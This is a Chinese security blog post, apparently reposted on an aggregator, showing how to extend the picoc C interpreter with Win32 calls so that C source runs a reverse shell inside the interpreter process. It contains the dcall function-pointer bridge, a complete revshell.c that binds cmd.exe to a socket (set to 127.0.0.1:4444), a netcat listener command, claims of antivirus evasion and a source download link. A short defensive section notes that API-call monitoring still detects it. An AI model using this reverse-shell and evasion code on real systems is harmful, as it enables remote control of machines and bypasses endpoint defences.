工具|picoc实战—用C语言动态解释实现反弹shell"

admin 2026-10-22 05:13:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

工具 | picoc 实战—用 C 语言动态解释实现反弹 shell

原创

mimi3389
mimi3389

赛博生存指南

2026年6月20日 08:58
浙江

在小说阅读器读本章

去阅读

picoc 是一个能把 C 源码直接在内存里「动态解释」执行的微型解释器。本文给picoc增加WindowAPI支持,C 在解释器进程里连回监听端、把 cmd.exe 的标准输入输出绑到 socket 上,交出一个交互 shell?这篇就亲手把它跑通——全程 loopback,授权测试。

实际上 CS 4.13 的 beacon 虚拟机已经有大佬当天就实现了。

picoc 还有一重背景:Cobalt Strike 4.13 那套 Beacon Interpreter 的 VM,正是从开源 picoc 重构扩展来的AI 生成 | Cobalt Strike 4.13 Lost in Translation — Beacon Interpreter 仓库源码解读。所以拿它来跑一次「解释器里执行 C → 反弹 shell」,是最短路径。

制品草稿静态免杀效果如下:

源码分享:https://pan.baidu.com/s/1mPTsv-BupR6zzfyjKG91vw?pwd=s5tt


一、目标:用 picoc 跑一次反弹 shell

一句话目标:让 picoc 解释执行一段 C 源码,这段源码在解释器进程内连回监听端,把 cmd.exe 的标准输入输出绑到 socket 上,交出一个交互 shell。

整条链路:

picoc -s revshell.c  (脚本模式,从顶层语句跑,不需要 main)
        │
        ▼  LoadLibraryA / GetProcAddress  解析 winsock + kernel32 导出
        ▼  dcall(fn, ...)  按指针调用任意 Win32 导出
WSAStartup → WSASocketA → SetHandleInformation(INHERIT)
        → connect(127.0.0.1:4444)
        → STARTUPINFO{ hStd* = socket } → CreateProcessA(\"cmd.exe\", bInheritHandles=TRUE)
        → WaitForSingleObject   (守住进程,让 shell 活着)

它跑起来是这样的——右窗 picoc 解释执行 revshell.c,左窗 netcat 监听端收到回连,whoami 回显 :

下面两节是底座和机制,真正的三道坎在四、五、六,完整 POC 在七。


二、底座:picoc 是什么

picoc 是一个微型 C 解释器(不是编译器)——Zik Saleeba 2009 年起的项目,Joseph Poirier 接手维护至今。它直接在内存里解释 C 源码,核心解释器只有约 5 千行(连自带的 C 标准库实现一起约 9 千行)。

它为什么适合做「进程内跑 C」的底座,两个理由:

  1. 1. 纯解释,不需要编译工具链。不像 BOF 那样要在本地 x86_64-w64-mingw32-gcc 一通操作,picoc 直接吃 C 源码——写完即跑。
  2. 2. 不需要额外分配可执行内存。它解释执行,不往堆上落一块 RWX。脚本跑在既有解释器里,这条「申请内存 + 改权限 + 执行」的检测线索天然缺失。

(顺带一提:这条线接上更早一篇 《让 beacon 编译》(2026-06-15)[2],那个系列讨论「怎么把代码弄进运行时」——从编译后注入(BOF),到这一篇的进程内解释(picoc)。)


三、关键机制:怎么在 picoc 里调任意 Win32 API

POC 的全部难点,都收敛到一个问题上:picoc 怎么调用 Windows API。

picoc 自带一套内建函数(intrinsic)机制:把一个原生 C 函数指针和一段 picoc 原型串配对,登记到一张 struct LibraryFunction[] 表里,再通过 IncludeRegister(\"windows.h\", ...) 注册。脚本里 #include <windows.h> 时,这套表就被绑进来。每个内建函数签名固定:

void CFunc(struct ParseState *Parser, struct Value *ReturnValue,
           struct Value **Param, int NumArgs);

这套机制能让我们注入一批「便利层」API(MessageBoxA、VirtualAlloc、Sleep……每个写法干净、带类型检查)。但这不够——真实场景里要调任意 Win32 导出,一个一个枚举写成内建不现实。更通用、也更贴近实战的做法,是靠解析 + 指针调用:LoadLibraryA 拿到 DLL,GetProcAddress 拿到导出,再拿这个函数指针去调。

问题来了:picoc 不能通过指针调用函数。 它的表达式求值器(expression.c)里有一道硬门禁,只允许调用 picoc 自己的函数值(TypeFunction),原生指针它不认识、不解引用。

所以要在 picoc 里调任意 API,必须自己造一座桥——两张牌:

picoc 内建 角色
LoadLibraryA / GetModuleHandleA / GetProcAddress / FreeLibrary 解析层 ——拿到任意 DLL 与导出
dcall(void *fn, ...) 指针调用桥 ——拿到指针后按指针调

dcall 就是那个\"绕过门禁\"的桥。它在 x64 上很好实现:x64 下 int 和 void * 都是 8 字节、只有一种调用约定,所以所有参数都可以统一按 intptr_t 编排,按元数(0~12)switch 分派,把 fn cast 成对应元数的函数指针类型调一下:

/* void *dcall(void *fn, ...) -- 调一个已解析的原生函数指针 */
void CDcall(struct ParseState *Parser, struct Value *ReturnValue,
            struct Value **Param, int NumArgs)
{
    void *fn = Param[0]->Val->Pointer;
    int n = NumArgs - 1;
    intptr_t a[12], r = 0;
    /* ... 把 n 个变参填进 a[] ... */
    switch (n) {
    case 0: r = ((intptr_t (*)(void))fn)(); break;
    case 1: r = ((intptr_t (*)(intptr_t))fn)(a[0]); break;
    case 2: r = ((intptr_t (*)(intptr_t,intptr_t))fn)(a[0],a[1]); break;
    /* ... 一路到 12 元 ... */
    }
    ReturnValue->Val->Pointer = (void *)r;
}

有了 dcall,picoc 脚本就能 LoadLibraryA + GetProcAddress 拿到任意导出,再 dcall 调用。

接下来三节,就是造这座桥、以及让 POC 真正跑通时踩的三道坎。


四、坑一:dcall 一带参数就崩 —— picoc 变参的真相

这是最难的一坎,也是最有 picoc 味道的一坎。

现象:dcall(fn)(0 参数)正常;一旦 dcall(fn, arg1, arg2) 带任何参数,立刻段错误。

第一反应(错的):变参嘛,Param[0] 是函数指针,Param[1]、Param[2]…… 不就是各参数吗?按这个下标去读。

错。picoc 不把变参放进 Param[]。它的 ParamArray(expression.c)是按固定形参的数量分配的——dcall 的原型里固定形参只有一个(fn),所以 Param[] 里只有 Param[0]。你读 Param[1] 就是在读越界内存,于是崩。

真相:变参被压在 picoc 的表达式栈上,紧跟在固定形参后面,连续排布。要拿到它们,得沿着 Value 结构体逐个走过去——这跟 picoc 自己的 printf 实现读 %s 参数是一模一样的手法。从 Param[0] 起步,按\"当前这个 Value 占多大对齐空间\"往前推一步,就到下一个参数:

/* picoc 把变参连续铺在表达式栈上,不在 Param[] 里。
 * 下标 Param[1..] 会越界——这就是 dcall 带参就崩的根因。
 * 照 cstdlib/stdio.c 里 printf 的走法,沿 Value 结构体逐个推进: */
struct Value *ThisArg = Param[0];
for (i = 0; i < n; i++) {
    ThisArg = (struct Value *)((char *)ThisArg +
        MEM_ALIGN(sizeof(struct Value) + TypeStackSizeValue(ThisArg)));
    a[i] = WinMarshalArg(ThisArg);
}

步长就是 MEM_ALIGN(sizeof(struct Value) + TypeStackSizeValue(ThisArg))——一个 Value 头加上它那块值存储,对齐到 MEM_ALIGN。指针走指针、数组走内联 ArrayMem、标量走 Integer(WinMarshalArg 里按类型分发)。

这个坎印证了关于 picoc 的一句老话:\"这不是标准 C 运行时。\" picoc 的变参语义和宿主 C 不一样,你得按它的栈布局来。修掉它之后,dcall 才真正能传参。


五、坑二:picoc 没有指针算术,怎么写 Win32 结构体

POC 要调 connect、CreateProcessA,就得在脚本里亲手拼出 sockaddr_in、STARTUPINFO 这些结构体。正常 C 里你会这么写:

*((int*)(buf + 60)) = flags;     // 在缓冲区偏移 60 处写一个 int

picoc 不支持这个。它的 C 子集有两道限制:

  • • 不能对 void*/char* 做指针算术(buf + 60 报 \"invalid operation\");
  • • 不能 *(int*)(buf+off) = ... 这种强转型写。

但有三样东西能用,足够绕过去:

  • • &buf[off]——取数组元素的地址,合法;
  • • memcpy(&buf[off], &val, n)——往那个地址拷 n 字节,合法;
  • • picoc 自己的 struct——嵌套成员访问、&member,都合法。

所以策略就一句话:把 Win32 结构体当成一块字节缓冲,所有字段都用 memcpy 往对应偏移写。 配一张 x64 布局表照着填:

结构体 大小 关键字段偏移
sockaddr_in 16 sin_family @0, sin_port@2(网络序), sin_addr@4
STARTUPINFOA 104 cb @0, dwFlags@60, hStdInput@80, hStdOutput@88, hStdError@96
PROCESS_INFORMATION 24 hProcess @0, dwProcessId@16

脚本里就这么写(节选):

char si[104]; memset(si, 0, 104);
int cb = 104;   memcpy(&si[0],  &cb, 4);
int fl = 0x100; memcpy(&si[60], &fl, 4);          /* STARTF_USESTDHANDLES */
memcpy(&si[80], &sock, 8);                        /* hStdInput  = sock */
memcpy(&si[88], &sock, 8);                        /* hStdOutput = sock */
memcpy(&si[96], &sock, 8);                        /* hStdError  = sock */

CreateProcessA 有 10 个参数,超过早期 dcall 的 8 元上限——顺手把 dcall 的元数封顶从 8 抬到 12,补上 case 9~12。


六、坑三:socket 必须来自 WSASocketA,不是 socket()

这一坎最隐蔽,也最经典。

现象:用 socket() 建连,SetHandleInformation(sock, INHERIT) 也设了,CreateProcessA(..., bInheritHandles=TRUE, ...) 也传了,启动参数里 hStdInput/Output/Error 全指向 socket——一切看起来都对,但 cmd.exe 一启动就 exit 1,socket 上一字节的 shell 输出都没有。

排查花了很久(一度怀疑是 STARTUPINFO 布局错了,专门编了个小程序把 104 字节逐字段打出来核对,全对)。最后定位到根因:

socket() 返回的句柄,即使打了 INHERIT 标志,也不会真正被子进程继承。 这是 Winsock 的历史包袱。CreateProcess 的 bInheritHandles 只继承\"真正可继承\"的句柄,而 socket() 给的句柄默认不是。

解法:换成 WSASocketA,它返回的句柄才是真正可继承的——这是 Metasploit 反弹 shell 多年的标准做法:

/* 必须是 WSASocketA,不是 socket()。
 * socket() 的句柄不真正可继承,cmd.exe 拿不到 stdio,exit 1。 */
void *sock = dcall(fnWSASocket, 2/*AF_INET*/, 1/*SOCK_STREAM*/, 6/*IPPROTO_TCP*/, 0, 0, 0);
dcall(fnSetHandle, sock, 1/*HANDLE_FLAG_INHERIT*/, 1);

换上 WSASocketA,截图里那次回连就出来了。


七、完整 POC:revshell.c(授权测试 / loopback)

把上面三道坎的解法拼起来,就是完整脚本。解析 winsock 与 kernel32 的导出、建可继承 socket、连回 loopback、把 cmd.exe 的 stdio 绑到 socket:

#include <stdio.h>
#include <windows.h>
#include <string.h>

/* AUTHORIZED TESTING ONLY —— 目标 127.0.0.1,仅本地验证。
 * 要点:socket 必须来自 WSASocketA(见坑三),结构体字段全用
 * memcpy 写(见坑二),所有 Win32 调用走 dcall(见坑一/三节)。 */

void run() {
    void *ws  = LoadLibraryA(\"ws2_32.dll\");
    void *k32 = GetModuleHandleA(\"kernel32.dll\");
    void *fnWSAStartup = GetProcAddress(ws,  \"WSAStartup\");
    void *fnWSASocket  = GetProcAddress(ws,  \"WSASocketA\");
    void *fnConnect    = GetProcAddress(ws,  \"connect\");
    void *fnSetHandle  = GetProcAddress(k32, \"SetHandleInformation\");
    void *fnCreateProc = GetProcAddress(k32, \"CreateProcessA\");
    void *fnWait       = GetProcAddress(k32, \"WaitForSingleObject\");

    int port = 4444;
    char ip0 = 127, ip1 = 0, ip2 = 0, ip3 = 1;          /* 127.0.0.1 */

    char wsa[512]; memset(wsa, 0, 512);                  /* WSADATA,不读 */
    dcall(fnWSAStartup, 0x0202, &wsa[0]);

    void *sock = dcall(fnWSASocket, 2, 1, 6, 0, 0, 0);   /* 可继承 socket */
    dcall(fnSetHandle, sock, 1, 1);

    char addr[16]; memset(addr, 0, 16);                  /* sockaddr_in */
    addr[0] = 2;                                         /* AF_INET */
    int np = ((port >> 8) & 0xff) | ((port & 0xff) << 8);/* htons */
    memcpy(&addr[2], &np, 2);
    addr[4] = ip0; addr[5] = ip1; addr[6] = ip2; addr[7] = ip3;

    int cr = (int)dcall(fnConnect, sock, &addr[0], 16);
    if (cr != 0) { printf(\"connect failed GLE=%d\
\", GetLastError()); return; }

    char si[104]; memset(si, 0, 104);                    /* STARTUPINFOA */
    int cb = 104;   memcpy(&si[0],  &cb, 4);
    int fl = 0x100; memcpy(&si[60], &fl, 4);             /* STARTF_USESTDHANDLES */
    memcpy(&si[80], &sock, 8); memcpy(&si[88], &sock, 8); memcpy(&si[96], &sock, 8);

    char pi[24]; memset(pi, 0, 24);                      /* PROCESS_INFORMATION */
    char cmd[] = \"cmd.exe\";
    int ok = (int)dcall(fnCreateProc, 0, &cmd[0], 0, 0, 1, 0, 0, 0, &si[0], &pi[0]);
    if (!ok) { printf(\"CreateProcessA failed GLE=%d\
\", GetLastError()); return; }

    void *hproc; memcpy(&hproc, &pi[0], 8);              /* PI.hProcess @0 */
    dcall(fnWait, hproc, -1);                            /* 守住进程 */
}
run();                                                   /* 脚本模式:顶层调用,无 main */

跑法(两个终端,loopback):

# 终端 1 —— 先起监听
nc.exe -lvnp 4444          # 或 PowerShell 的 TcpListener

# 终端 2 —— 再跑脚本(注意是 -s 脚本模式,不是 -c)
./picoc.exe -s tmp/revshell.c

顺带一个排错笔记:监听端如果用 Windows PowerShell 5.1 跑脚本,偶尔会在 WTGetSignatureInfo 处抛 AccessViolationException——那是 5.1 的签名校验老 bug,跟你的反弹 shell 无关。加 -NoProfile 或换 pwsh(PowerShell 7)就好。所以截图里直接用了 nc.exe,最干净。

另一个常见误操作:把 ./picoc.exe -s 打成 ./picoc.exe -c。-c 是 \"copyright info\"——只打印 BSD 许可证全文然后退出,完全不会读你的脚本。脚本模式认准 -s。


八、能力地图:本 POC 交付了什么(以及不交付什么)

整套 Win32 能力分三层,都集中在 platform/library_msvc.c 一张表里,扩展零成本:

层 内容 说明
解析层 LoadLibraryA / GetModuleHandleA / GetProcAddress / FreeLibrary 进程内调任意 API 的命脉
指针调用桥 dcall(void *fn, ...) 绕过 picoc 不能指针调用的限制
便利层(Tier 1) MessageBoxA / VirtualAlloc / VirtualProtect / CreateThread / Sleep / WaitForSingleObject / GetCurrentProcess … 最常用 API,带类型检查的干净写法

有了「解析层 + dcall」,任意 Win32 导出都能调——不止反弹 shell,令牌操作(OpenProcessToken / AdjustTokenPrivileges / LookupPrivilegeValueA,同样 advapi32 解析 + dcall)也是同一套打法。便利层只是把最常用的那部分包成写法更干净、带类型检查的内建。

范围外(必须说清):本 POC 不做真实实战工具的传输、加密、C2 协议、心跳、sleep mask——只交付「解释器 + Win32 API 面」。上面这个反弹 shell 是机制验证用的 POC,目标是 loopback,不是拿来即用的实战工具。


九、背景:这条线从哪来

这篇是几条线的交汇点,简短交代清楚 picoc 的来路:

  • • picoc 的血缘:Cobalt Strike 4.13 Beacon Interpreter 的 VM 是从开源 picoc 重构扩展来的,06-19 那篇[1] 解读过官方做了什么——官方走 Teamserver 编译字节码 → 随 C2 下发 → VM 解释;本篇走的是进程内源码直接解释 → GetProcAddress+dcall,更直白。
  • • 系列红线:《让 beacon 编译》(2026-06-15)[2] 讨论「怎么把代码弄进运行时」——从编译后注入(BOF),到本篇的进程内解释(picoc)。

一句话:本篇不替代官方、也不是拿来即用的实战工具——只把开源 picoc 改造成一个能在进程内解释执行 C、并调任意 Win32 的解释器,用它跑通一个 loopback 反弹 shell,把机制讲透。


十、防御视角(简短)

进程内解释器最大的特点:它把\"申请内存 + 改权限 + 执行\"这条经典 BOF 检测链架空了——脚本跑在既有解释器里,不在堆上落可执行内存。本 POC 也一样:picoc.exe 进程自始至终没有 VirtualAlloc 一块 RWX 来跑 shellcode。

但盲区不等于隐身。本 POC 的全部能力最终都要落到 Win32 API 调用上——WSASocketA / connect / CreateProcessA,以及令牌操作的 OpenProcessToken / AdjustTokenPrivileges。调用边界没变,所以API 行为监控(谁、在什么上下文、对谁、调了什么)仍然是着力点。战场从\"内存权限\"挪到了\"调用行为\"。


结语

用 picoc 的 C 动态解释跑通一个反弹 shell,其实就解三件事:

  1. 1. 怎么注入 API 面——解析层 + dcall 指针调用桥(绕过 picoc 不能指针调用的硬门禁);
  2. 2. 怎么在受限 C 子集里操作结构体——没有指针算术,就用 memcpy(&buf[off], &val, n);
  3. 3. 怎么处理平台细节——socket 必须来自 WSASocketA 才真正可继承。

三道坎,每道都是实地踩出来的,每道解法都写在上面。最后那张截图,就是它们全部解开的证据。

下一篇,大概率会在这个解释器上接着做——把网络能力收成一个干净的 RevShell(ip, port) 内建,或者补一个 bind shell 版本,让 POC 从\"能跑\"走向\"好用\"。


本文基于开源 picoc 仓库与公开资料撰写,所有代码与演示均为授权安全研究用途、目标限定 loopback,仅作技术研究与防御教育。


参考资源

  • • picoc — 开源 C 解释器(GitHub)[3]
  • • Cobalt Strike 4.13: Lost In Translation — 官方博客[4]
  • • beacon-interpreter — 官方开源开发支持包(GitHub)[5]
  • • 本号系列:《让 beacon 编译》(2026-06-15)[2]、《Cobalt Strike 4.13 Beacon Interpreter 解读》(2026-06-19)[1]

引用链接

[1] 06-19 解读: 2026-06-19
[2] 《让 beacon 编译》(2026-06-15): 2026-06-15
[3] picoc — 开源 C 解释器(GitHub): https://github.com/zsaleeba/picoc
[4] Cobalt Strike 4.13: Lost In Translation — 官方博客: https://www.cobaltstrike.com/blog/cobalt-strike-413-lost-in-translation
[5] beacon-interpreter — 官方开源开发支持包(GitHub): https://github.com/Cobalt-Strike/beacon-interpreter


工具|picoc实战—用C语言动态解释实现反弹shell" 网络安全文章

工具|picoc实战—用C语言动态解释实现反弹shell"

该文档详细介绍了如何使用picoc微型C解释器在内存中动态执行C代码实现反弹shell的技术方案。文章通过为picoc增加WindowsAPI支持,实现了在解释器进程内连接监听端并将cmd.exe的标准输入输出绑定到socket的核心功能。重点解析了dcall函数指针调用桥的实现、picoc变参处理的特殊机制以及WSASocketA句柄继承等关键技术难点,提供了完整的POC实现路径和免杀效果验证。
德邦证券大模型应用服务平台采购项目" 网络安全文章

德邦证券大模型应用服务平台采购项目"

德邦证券为响应国家’人工智能+'行动,采购集成知识库、Agent开发和运营服务的大模型应用服务平台,旨在解决AI工具孤岛问题,推动风险管理与业务运营智能化。项目要求供应商具备金融信创案例及CMMI3级、ISO27001等认证,采用综合评分法定标,报名截止2026年6月23日。
Anthropic接口与OpenAI接口有何差异" 网络安全文章

Anthropic接口与OpenAI接口有何差异"

本文对比了Anthropic与OpenAI两种AI接口标准的差异,重点分析接口路径、system消息位置和认证方式的不同:OpenAI的system消息嵌入messages数组而Anthropic置于顶层字段,认证分别采用BearerToken和x-api-key头。文档指出Anthropic接口因Claude系列模型优势成为行业新标准,并列举DeepSeek、火山方舟等平台的双协议支持实例。
评论:0   参与:  0